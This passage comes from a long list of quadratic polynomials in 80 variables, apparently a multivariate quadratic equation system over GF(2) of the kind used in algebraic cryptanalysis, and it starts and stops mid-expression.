x16*x74 + x16*x75 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x37 + x17*x38 + x17*x40 + x17*x42 + x17*x47 + x17*x50 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x70 + x17*x71 + x17*x74 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x49 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x56 + x18*x60 + x18*x61 + x18*x64 + x18*x65 + x18*x66 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x79 + x19*x22 + x19*x24 + x19*x27 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x37 + x19*x38 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x58 + x19*x61 + x19*x62 + x19*x63 + x19*x67 + x19*x69 + x19*x70 + x19*x71 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x20*x21 + x20*x23 + x20*x25 + x20*x29 + x20*x34 + x20*x39 + x20*x40 + x20*x48 + x20*x51 + x20*x53 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x69 + x20*x73 + x20*x74 + x20*x77 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x35 + x21*x37 + x21*x38 + x21*x43 + x21*x44 + x21*x46 + x21*x48 + x21*x49 + x21*x50 + x21*x52 + x21*x56 + x21*x60 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x72 + x21*x73 + x21*x76 + x21*x79 + x21 + x22*x25 + x22*x26 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x44 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x60 + x22*x63 + x22*x64 + x22*x66 + x22*x68 + x22*x70 + x22*x71 + x22 + x23*x25 + x23*x30 + x23*x31 + x23*x32 + x23*x36 + x23*x41 + x23*x43 + x23*x44 + x23*x46 + x23*x47 + x23*x50 + x23*x51 + x23*x53 + x23*x54 + x23*x58 + x23*x61 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x73 + x23*x74 + x23*x76 + x23*x78 + x24*x26 + x24*x27 + x24*x32 + x24*x34 + x24*x36 + x24*x38 + x24*x41 + x24*x45 + x24*x47 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x59 + x24*x63 + x24*x65 + x24*x71 + x24*x73 + x24*x75 + x24*x76 + x24*x78 + x24 + x25*x26 + x25*x28 + x25*x29 + x25*x31 + x25*x32 + x25*x40 + x25*x44 + x25*x45 + x25*x48 + x25*x51 + x25*x52 + x25*x55 + x25*x58 + x25*x60 + x25*x61 + x25*x66 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x31 + x26*x36 + x26*x39 + x26*x40 + x26*x43 + x26*x44 + x26*x45 + x26*x47 + x26*x50 + x26*x52 + x26*x54 + x26*x58 + x26*x64 + x26*x65 + x26*x68 + x26*x69 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x32 + x27*x35 + x27*x39 + x27*x40 + x27*x43 + x27*x44 + x27*x46 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x63 + x27*x64 + x27*x67 + x27*x68 + x27*x72 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x32 + x28*x37 + x28*x38 + x28*x39 + x28*x41 + x28*x42 + x28*x44 + x28*x46 + x28*x48 + x28*x49 + x28*x52 + x28*x53 + x28*x55 + x28*x57 + x28*x59 + x28*x61 + x28*x63 + x28*x64 + x28*x68 + x28*x73 + x28*x74 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x33 + x29*x35 + x29*x37 + x29*x42 + x29*x43 + x29*x46 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x34 + x30*x35 + x30*x37 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x53 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x63 + x30*x65 + x30*x66 + x30*x67 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x39 + x31*x44 + x31*x46 + x31*x47 + x31*x60 + x31*x61 + x31*x64 + x31*x67 + x31*x68 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x77 + x31*x79 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x45 + x32*x46 + x32*x47 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x56 + x32*x62 + x32*x63 + x32*x64 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x78 + x32*x79 + x33*x35 + x33*x38 + x33*x40 + x33*x41 + x33*x47 + x33*x50 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x62 + x33*x63 + x33*x65 + x33*x66 + x33*x68 + x33*x69 + x33*x72 + x33*x73 + x33*x74 + x33*x76 + x33*x79 + x34*x36 + x34*x38 + x34*x40 + x34*x43 + x34*x45 + x34*x46 + x34*x48 + x34*x54 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x64 + x34*x66 + x34*x70 + x34*x72 + x34*x76 + x34*x77 + x34*x78 + x35*x41 + x35*x42 + x35*x45 + x35*x47 + x35*x48 + x35*x49 + x35*x51 + x35*x54 + x35*x58 + x35*x61 + x35*x62 + x35*x63 + x35*x70 + x35*x71 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x35 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x50 + x36*x51 + x36*x53 + x36*x60 + x36*x64 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x40 + x37*x46 + x37*x48 + x37*x50 + x37*x57 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x78 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x78 + x39*x40 + x39*x44 + x39*x47 + x39*x50 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39 + x40*x42 + x40*x43 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x59 + x40*x60 + x40*x61 + x40*x67 + x40*x68 + x40*x70 + x40*x74 + x40*x76 + x40*x78 + x41*x42 + x41*x43 + x41*x51 + x41*x52 + x41*x54 + x41*x55 + x41*x58 + x41*x61 + x41*x63 + x41*x65 + x41*x69 + x41*x72 + x41*x78 + x42*x44 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x50 + x42*x57 + x42*x59 + x42*x68 + x42*x72 + x42*x74 + x42*x75 + x42*x78 + x42 + x43*x44 + x43*x47 + x43*x49 + x43*x51 + x43*x53 + x43*x58 + x43*x59 + x43*x64 + x43*x65 + x43*x67 + x43*x70 + x43*x72 + x43*x73 + x43 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x63 + x44*x65 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x77 + x45*x46 + x45*x47 + x45*x51 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x68 + x45*x74 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x52 + x46*x53 + x46*x56 + x46*x58 + x46*x59 + x46*x61 + x46*x63 + x46*x67 + x46*x69 + x46*x70 + x46*x73 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x51 + x47*x52 + x47*x53 + x47*x54 + x47*x56 + x47*x61 + x47*x62 + x47*x64 + x47*x66 + x47*x68 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x77 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x65 + x48*x66 + x48*x69 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x70 + x49*x73 + x49*x75 + x49*x76 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x59 + x50*x60 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x73 + x50*x74 + x50*x75 + x50*x77 + x50 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x65 + x51*x67 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x66 + x52*x67 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x60 + x53*x62 + x53*x63 + x53*x65 + x53*x67 + x53*x68 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x75 + x54*x57 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x70 + x54*x72 + x54*x77 + x54*x79 + x55*x56 + x55*x57 + x55*x59 + x55*x61 + x55*x62 + x55*x64 + x55*x68 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x66 + x56*x68 + x56*x73 + x56*x75 + x56*x76 + x56*x77 + x56 + x57*x59 + x57*x62 + x57*x65 + x57*x66 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x68 + x58*x72 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x71 + x59*x72 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x75 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x65 + x61*x66 + x61*x67 + x61*x68 + x61*x71 + x61*x75 + x61*x76 + x61*x77 + x61 + x62*x64 + x62*x65 + x62*x68 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x63*x64 + x63*x69 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64*x78 + x65*x67 + x65*x69 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x68 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x70 + x67*x71 + x67*x72 + x67*x77 + x68*x70 + x68*x74 + x68*x75 + x68*x78 + x68*x79 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x75 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x73*x77 + x74*x75 + x74*x79 + x75*x76 + x76 + x77 + 1, x0*x1 + x0*x4 + x0*x6 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x20 + x0*x28 + x0*x29 + x0*x31 + x0*x33 + x0*x35 + x0*x37 + x0*x40 + x0*x42 + x0*x44 + x0*x48 + x0*x50 + x0*x53 + x0*x54 + x0*x55 + x0*x58 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x66 + x0*x69 + x0*x71 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0 + x1*x3 + x1*x5 + x1*x7 + x1*x11 + x1*x12 + x1*x15 + x1*x16 + x1*x18 + x1*x21 + x1*x23 + x1*x24 + x1*x28 + x1*x30 + x1*x31 + x1*x37 + x1*x38 + x1*x39 + x1*x41 + x1*x44 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x52 + x1*x53 + x1*x55 + x1*x58 + x1*x59 + x1*x64 + x1*x65 + x1*x68 + x1*x70 + x1*x72 + x1*x73 + x1*x74 + x1*x75 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x16 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x25 + x2*x27 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x36 + x2*x38 + x2*x41 + x2*x42 + x2*x44 + x2*x47 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x10 + x3*x12 + x3*x13 + x3*x15 + x3*x20 + x3*x21 + x3*x24 + x3*x31 + x3*x35 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x55 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x68 + x3*x72 + x3*x73 + x3*x78 + x3*x79 + x4*x6 + x4*x10 + x4*x13 + x4*x15 + x4*x16 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x23 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x32 + x4*x36 + x4*x40 + x4*x42 + x4*x43 + x4*x46 + x4*x48 + x4*x49 + x4*x51 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x58 + x4*x61 + x4*x62 + x4*x63 + x4*x69 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x4*x78 + x5*x6 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x18 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x40 + x5*x45 + x5*x50 + x5*x54 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x72 + x5*x74 + x5*x75 + x5*x77 + x6*x10 + x6*x11 + x6*x13 + x6*x14 + x6*x16 + x6*x18 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x26 + x6*x27 + x6*x31 + x6*x33 + x6*x34 + x6*x35 + x6*x36 + x6*x40 + x6*x44 + x6*x45 + x6*x46 + x6*x49 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x59 + x6*x61 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x73 + x6*x75 + x6*x76 + x6*x78 + x7*x8 + x7*x10 + x7*x14 + x7*x15 + x7*x16 + x7*x20 + x7*x22 + x7*x23 + x7*x24 + x7*x30 + x7*x31 + x7*x32 + x7*x35 + x7*x36 + x7*x40 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x56 + x7*x58 + x7*x62 + x7*x63 + x7*x64 + x7*x72 + x7*x73 + x7*x74 + x7*x76 + x7*x78 + x7 + x8*x9 + x8*x14 + x8*x16 + x8*x17 + x8*x19 + x8*x21 + x8*x24 + x8*x25 + x8*x28 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x39 + x8*x40 + x8*x45 + x8*x46 + x8*x47 + x8*x53 + x8*x56 + x8*x58 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x66 + x8*x70 + x8*x72 + x8*x76 + x8*x78 + x8*x79 + x8 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x21 + x9*x23 + x9*x24 + x9*x26 + x9*x31 + x9*x32 + x9*x34 + x9*x36 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x47 + x9*x48 + x9*x49 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x56 + x9*x59 + x9*x63 + x9*x64 + x9*x67 + x9*x70 + x9*x72 + x9*x75 + x9*x76 + x9*x78 + x9*x79 + x10*x11 + x10*x13 + x10*x14 + x10*x20 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x31 + x10*x33 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x49 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x57 + x10*x58 + x10*x61 + x10*x66 + x10*x68 + x10*x69 + x10*x71 + x10*x73 + x10*x76 + x10*x77 + x10*x79 + x10 + x11*x13 + x11*x14 + x11*x15 + x11*x18 + x11*x21 + x11*x24 + x11*x25 + x11*x27 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x39 + x11*x40 + x11*x41 + x11*x43 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x52 + x11*x55 + x11*x56 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x70 + x11*x71 + x11*x75 + x11 + x12*x14 + x12*x15 + x12*x17 + x12*x19 + x12*x21 + x12*x22 + x12*x23 + x12*x29 + x12*x32 + x12*x33 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x47 + x12*x51 + x12*x52 + x12*x53 + x12*x58 + x12*x65 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x74 + x12*x75 + x12*x77 + x12*x79 + x13*x14 + x13*x15 + x13*x18 + x13*x20 + x13*x21 + x13*x23 + x13*x26 + x13*x29 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x51 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x63 + x13*x65 + x13*x68 + x13*x71 + x13*x72 + x13*x74 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x25 + x14*x34 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x49 + x14*x51 + x14*x55 + x14*x56 + x14*x57 + x14*x61 + x14*x67 + x14*x71 + x14*x72 + x14*x74 + x14*x76 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x20 + x15*x21 + x15*x22 + x15*x23 + x15*x25 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x31 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x54 + x15*x55 + x15*x58 + x15*x61 + x15*x71 + x15*x75 + x15*x76 + x15*x78 + x15 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x24 + x16*x25 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x34 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x47 + x16*x48 + x16*x57 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x72 + x16*x73 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x24 + x17*x25 + x17*x26 + x17*x28 + x17*x30 + x17*x32 + x17*x34 + x17*x35 + x17*x37 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x48 + x17*x49 + x17*x52 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x64 + x17*x67 + x17*x69 + x17*x71 + x17*x73 + x17*x74 + x17*x75 + x17*x78 + x17 + x18*x21 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x33 + x18*x35 + x18*x36 + x18*x39 + x18*x41 + x18*x42 + x18*x50 + x18*x51 + x18*x52 + x18*x54 + x18*x62 + x18*x63 + x18*x64 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x76 + x19*x27 + x19*x28 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x38 + x19*x43 + x19*x46 + x19*x48 + x19*x51 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x59 + x19*x61 + x19*x63 + x19*x66 + x19*x69 + x19*x70 + x19*x71 + x19*x72 + x19*x73 + x19*x76 + x19*x79 + x19 + x20*x21 + x20*x25 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x37 + x20*x38 + x20*x39 + x20*x42 + x20*x45 + x20*x48 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x26 + x21*x27 + x21*x29 + x21*x30 + x21*x32 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x43 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x53 + x21*x54 + x21*x56 + x21*x59 + x21*x64 + x21*x65 + x21*x67 + x21*x71 + x21*x76 + x21*x77 + x21 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x30 + x22*x32 + x22*x35 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x50 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x59 + x22*x61 + x22*x63 + x22*x64 + x22*x70 + x22*x71 + x22*x72 + x22*x74 + x22*x75 + x22 + x23*x24 + x23*x25 + x23*x27 + x23*x32 + x23*x37 + x23*x38 + x23*x40 + x23*x45 + x23*x46 + x23*x49 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x71 + x23*x77 + x23*x78 + x24*x25 + x24*x26 + x24*x30 + x24*x35 + x24*x36 + x24*x38 + x24*x39 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x65 + x24*x69 + x24*x71 + x24*x74 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x30 + x25*x35 + x25*x36 + x25*x38 + x25*x40 + x25*x42 + x25*x44 + x25*x46 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x58 + x25*x63 + x25*x65 + x25*x67 + x25*x73 + x25*x74 + x25*x77 + x25*x78 + x25 + x26*x28 + x26*x29 + x26*x33 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x44 + x26*x46 + x26*x48 + x26*x49 + x26*x51 + x26*x55 + x26*x56 + x26*x62 + x26*x63 + x26*x69 + x26*x70 + x26*x74 + x26*x75 + x26*x77 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x31 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x49 + x27*x52 + x27*x53 + x27*x57 + x27*x59 + x27*x63 + x27*x64 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x33 + x28*x34 + x28*x37 + x28*x38 + x28*x39 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x48 + x28*x54 + x28*x56 + x28*x57 + x28*x60 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x62 + x29*x63 + x29*x69 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x78 + x29 + x30*x31 + x30*x33 + x30*x34 + x30*x36 + x30*x39 + x30*x45 + x30*x47 + x30*x48 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x59 + x30*x60 + x30*x61 + x30*x64 + x30*x65 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x75 + x30*x76 + x30*x79 + x30 + x31*x35 + x31*x37 + x31*x39 + x31*x40 + x31*x42 + x31*x44 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x53 + x31*x55 + x31*x57 + x31*x58 + x31*x61 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x39 + x32*x40 + x32*x42 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x60 + x32*x61 + x32*x63 + x32*x67 + x32*x72 + x32*x73 + x32*x75 + x32*x76 + x32*x77 + x32*x79 + x33*x34 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x44 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x65 + x33*x67 + x33*x68 + x33*x74 + x33*x75 + x33*x77 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x41 + x34*x44 + x34*x45 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x55 + x34*x58 + x34*x60 + x34*x62 + x34*x64 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x72 + x34*x76 + x34*x77 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x42 + x35*x45 + x35*x47 + x35*x48 + x35*x50 + x35*x51 + x35*x54 + x35*x56 + x35*x57 + x35*x61 + x35*x62 + x35*x63 + x35*x66 + x35*x68 + x35*x69 + x35*x70 + x35*x72 + x35*x73 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x36*x38 + x36*x39 + x36*x42 + x36*x46 + x36*x49 + x36*x50 + x36*x51 + x36*x52 + x36*x53 + x36*x54 + x36*x56 + x36*x58 + x36*x60 + x36*x61 + x36*x62 + x36*x69 + x36*x73 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x37*x43 + x37*x45 + x37*x50 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + 